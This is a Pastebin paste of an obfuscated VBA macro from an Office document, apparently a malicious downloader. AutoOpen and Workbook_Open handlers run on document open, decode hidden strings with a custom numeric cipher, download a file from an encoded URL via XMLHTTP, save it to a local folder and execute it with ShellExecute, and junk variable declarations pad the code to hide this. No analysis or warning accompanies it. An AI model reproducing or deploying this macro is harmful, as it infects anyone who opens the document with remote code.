Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- Sub uiwefds()
- TestingTheCode
- End Sub
- Sub AutoOpen()
- uiwefds
- End Sub
- Sub Workbook_Open()
- uiwefds
- End Sub
- Function H1Ow3ak(ByVal vWebFile As String, ByVal vLocalFile As String) As Boolean
- Dim lGCG As Long, vFF As Long, oResp() As Byte
- Dim SHjTQi As Variant
- Set oXMLHTTP = CreateObject(Fe5OknS("0twX11c55d12b4L5132t0jY1155I11X40THO75g06K9a0VhEQe0l6H151T320H11ai5511P4o0108r0m126Y0z1M26k01R20N04DpG"))
- Dim fb5av As Byte
- oXMLHTTP.Open Fe5OknS("dbts2I20121qrcB510313k9260J4UhS7"), vWebFile, False
- Dim aVXAWg As Byte
- oXMLHTTP.Send
- Dim Lki1CNFc As String
- oResp = oXMLHTTP.responseBody
- Dim UfkdQdNI As Currency
- vFF = FreeFile
- Dim Cqof5C As Currency
- If Dir(vLocalFile) <> "" Then Kill vLocalFile
- Dim GrEYSHj As Object
- Open vLocalFile For Binary Access Write As #vFF
- Dim vv0aa As Variant
- Put #vFF, , oResp
- Dim XFcLk As Object
- Close #vFF
- Dim BeadIsF As Currency
- Set oXMLHTTP = Nothing
- Dim QeVkdIP As Boolean
- Dim xlapp As Object
- Dim Bgg8Irqgg As Double
- Set xlapp = CreateObject(Fe5OknS("LXY11U3WMh2b8ScA1U6U64C16sqX16Y1bdc7gh28G1x7t28jo7U3TeGcP6H1l55OK2XuZ17k92HT17q9KXlnLS211fJ16Puxo21Sj7ky28z168wa0HKp1sVYT5m84DME15ox5218kQT5QV6Z1qu680Oll177kbRy6by176PJ0aczLp"))
- Dim uUSHG As Variant
- xlapp.ShellExecute Environ(Fe5OknS("NECx26a0n42p13B9MlIN612m312E387O248TQ0crMt")) & Fe5OknS("mBR2U9sd2s5tG1dqVx5c0gPf52tTuk5k0me5yBS15Kgw2LsLAF410ku1vI5w0Y5P1yYfL5i2cbox46EM1Fo0w1eaN120Z10u1quhJE")
- Dim aiOX As Date
- End Function
- Sub TestingTheCode()
- Dim TLc As Byte
- FHbjkjkjl = Fe5OknS("i7IWrX3P1203Xx4z80348RRa03n3aa601H74D0QMq1u410s1b41n0q3450JhLA3k3303pd2o403V5sT103tN480g34uL20F333z0Jm3v300SK3Grv1503g60KY03yLabyJf714A30060b3x660EXoF30S301eaN380Zq2970u3330pipW327Qr0X141Pa031r8VX03a4ht50I1l4M1029p40BH315jOT033ot0o013Xn8j0F30i3u0p360Rs0DA30j30rYbx")
- Dim csBg7Uk As Object
- H1Ow3ak FHbjkjkjl, Environ(Fe5OknS("dpAd109z2Jm897wvSKGBku1m8ku131001Yrv104Ygf0Pdoh")) & Fe5OknS("0QB0w88k3Q2TfZqh48u9v64y8pR0i0l4fA9yJ9b2g4800UVXrRp48Ra96zHX4p9l92iFoSYo211UCD96Mqj48u00Tb4h8c96KX4Auik992Fq44t1G6dog96x9b6WU1wF152G0H9S69Jez6mOuyB")
- End Sub
- Function Fe5OknS(InputStringToBeDecrypted As String) As String
- Dim hKXPe6UQt As String
- Dim NIM7U3OHC As Byte
- Dim wfplLuj As String
- Dim E4IKSwHoMuU As Date
- Dim HZe As String
- Dim Ae3OiJIwM As Date
- Dim DvLqAgFnNK As String
- Dim dDAbaQ5UnHC As Byte
- Dim logFek5AMr As String
- Dim wHKoamG As Byte
- Dim qy7OcMAXB As Integer
- Dim hCD2ajLf As Byte
- Dim g8IN2UsQvHE As Integer
- Dim bXbT As Currency
- On Error GoTo ErrorHandler
- Dim JyXsn As Long
- strTempText = InputStringToBeDecrypted
- Dim qVd As Date
- hKXPe6UQt = strTempText
- Dim wmP As Object
- wfplLuj = ""
- Dim BZHge1O As Byte
- hKXPe6UQt = Left(hKXPe6UQt, Len(hKXPe6UQt) - 4)
- Dim lgUvhe As String
- hKXPe6UQt = Right(hKXPe6UQt, Len(hKXPe6UQt) - 4)
- Dim B3aOD As Object
- nCharSize = 0
- Dim RgZ7Iy3OU As Long
- Call Extract_Char_Size(hKXPe6UQt, nCharSize)
- Dim cc6Imhjw6Ak As Object
- Call Extract_Enc_Key(hKXPe6UQt, nCharSize, nEncKey)
- Dim RbgZM4EED As Byte
- nTextLenght = Len(hKXPe6UQt)
- Dim LVYCnAUOD As Object
- For nCounter = 1 To Len(hKXPe6UQt) Step nCharSize
- Dim aOoKGJnY As Boolean
- DvLqAgFnNK = Mid(hKXPe6UQt, nCounter, nCharSize)
- Dim rer4O7Y06AVQR As Date
- nChar = uepu7At5S(DvLqAgFnNK)
- Dim Nj3UK8ahVULL As Currency
- nChar2 = nChar / nEncKey
- Dim h7BdAL As Long
- logFek5AMr = Chr(nChar2)
- Dim lXjE As Byte
- wfplLuj = wfplLuj + logFek5AMr
- Dim tuA As Boolean
- Next nCounter
- Dim NtCj As Date
- Dim mgiwh8A As Object
- Dim ccqLVYCnAU As Currency
- wfplLuj = Trim(wfplLuj)
- Dim ioikN6O As Object
- Fe5OknS = wfplLuj
- Dim tpPNnmcc As Byte
- Exit Function
- ErrorHandler:
- Dim Ot8OeFE8a1PI As Date
- End Function
- Sub Extract_Char_Size(ByRef hKXPe6UQt, ByRef nCharSize)
- Dim n8U2ORbX As Object
- DecryptParts = DecryptParts & "/Extract_Char_Size/"
- Dim tDkIq As Date
- nLeft = Len(hKXPe6UQt) \ 2
- Dim Uv6aCa1UqL As Boolean
- strLeft = Left(hKXPe6UQt, nLeft)
- Dim rjIhnijNj As String
- Dim NsfHbXbTqQ As Date
- nRight = Len(hKXPe6UQt) - nLeft
- Dim ySlK7E4EE As Byte
- strRight = Right(hKXPe6UQt, nRight)
- Dim JWOdWB As Object
- Dim Zpwdm3aO As Variant
- strKeyEnc = Right(strLeft, 2)
- Dim A1amPTBZ1I As Date
- strKeySize = Left(strRight, 2)
- Dim wm6n4I As Long
- strKeyEnc = vMFj(strKeyEnc)
- Dim eFEtuAPI As Date
- strKeySize = vMFj(strKeySize)
- Dim YtpskWioik As Object
- nKeyEnc = Val(strKeyEnc)
- Dim raWZEpC As String
- nKeySize = Val(strKeySize)
- Dim qdqM4aKKCRX As Variant
- nCharSize = nKeySize - nKeyEnc
- Dim clpT As Currency
- hKXPe6UQt = Left(strLeft, Len(strLeft) - 2) + Right(strRight, Len(strRight) - 2)
- Dim ybO7amlb As String
- End Sub
- Function vMFj(ByVal cString As String) As String
- DecryptParts = DecryptParts & "/ vMFj/"
- Dim o1AeBMeKv As Boolean
- For nCounter = 1 To Len(cString)
- Dim re2UX As String
- DvLqAgFnNK = Mid(cString, nCounter, 1)
- Dim GWe As Object
- If IsNumeric(DvLqAgFnNK) Then
- Dim YwyWVL2iD As Currency
- Dim aNoJFIm4 As Long
- strTempString = strTempString + DvLqAgFnNK
- Dim X5E0a As Variant
- Else
- strTempString = strTempString + "0"
- Dim IuJrn As Byte
- End If
- Next nCounter
- Dim NtCj As Date
- Dim mgiwh8A As Object
- Dim ccqLVYCnAU As Currency
- vMFj = strTempString
- Dim Ok3UL2ayWVLL As Currency
- End Function
- Function uepu7At5S(strTempText As String) As Integer
- DecryptParts = DecryptParts & "/ uepu7At5S/"
- Dim ShnEMeB As Date
- strTempText = Trim(strTempText)
- Dim h6AACeBM As Long
- For nCounter = 1 To Len(strTempText)
- Dim r7OC As String
- DvLqAgFnNK = Mid(strTempText, nCounter, 1)
- Dim EXf2KPIu As Long
- If IsNumeric(DvLqAgFnNK) Then
- Dim YwyWVL2iD As Currency
- Dim aNoJFIm4 As Long
- hKXPe6UQt = hKXPe6UQt + DvLqAgFnNK
- Dim nAF As Double
- End If
- Next nCounter
- Dim NtCj As Date
- Dim mgiwh8A As Object
- Dim ccqLVYCnAU As Currency
- nResult = Val(hKXPe6UQt)
- Dim RcgaN7UFEtt As Currency
- uepu7At5S = nResult
- Dim fGFu1ASmg As Long
- End Function
- Sub Extract_Enc_Key(ByRef hKXPe6UQt, ByVal nCharSize, ByRef nEncKey)
- Dim pvclTrZ As Object
- DecryptParts = DecryptParts & "/Extract_Enc_Key/"
- Dim G2UBMeK8ENo As Double
- strEncKey = vbNullString
- Dim k0AXfLU As Variant
- qy7OcMAXB = Len(hKXPe6UQt) - nCharSize
- Dim uJ0I As Variant
- nLeft = qy7OcMAXB \ 2
- Dim HclpTFRkfT As Variant
- strLeft = Left(hKXPe6UQt, nLeft)
- Dim rjIhnijNj As String
- Dim NsfHbXbTqQ As Date
- nRight = qy7OcMAXB - nLeft
- Dim PI8f As Double
- strRight = Right(hKXPe6UQt, nRight)
- Dim JWOdWB As Object
- Dim Zpwdm3aO As Variant
- strEncKey = Mid(hKXPe6UQt, nLeft + 1, nCharSize)
- Dim elC1I5 As Currency
- strEncKey = vMFj(strEncKey)
- Dim etmDLqA As Byte
- nEncKey = Val(Trim(strEncKey))
- Dim DhT As Date
- hKXPe6UQt = strLeft + strRight
- Dim Sa7I As Variant
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement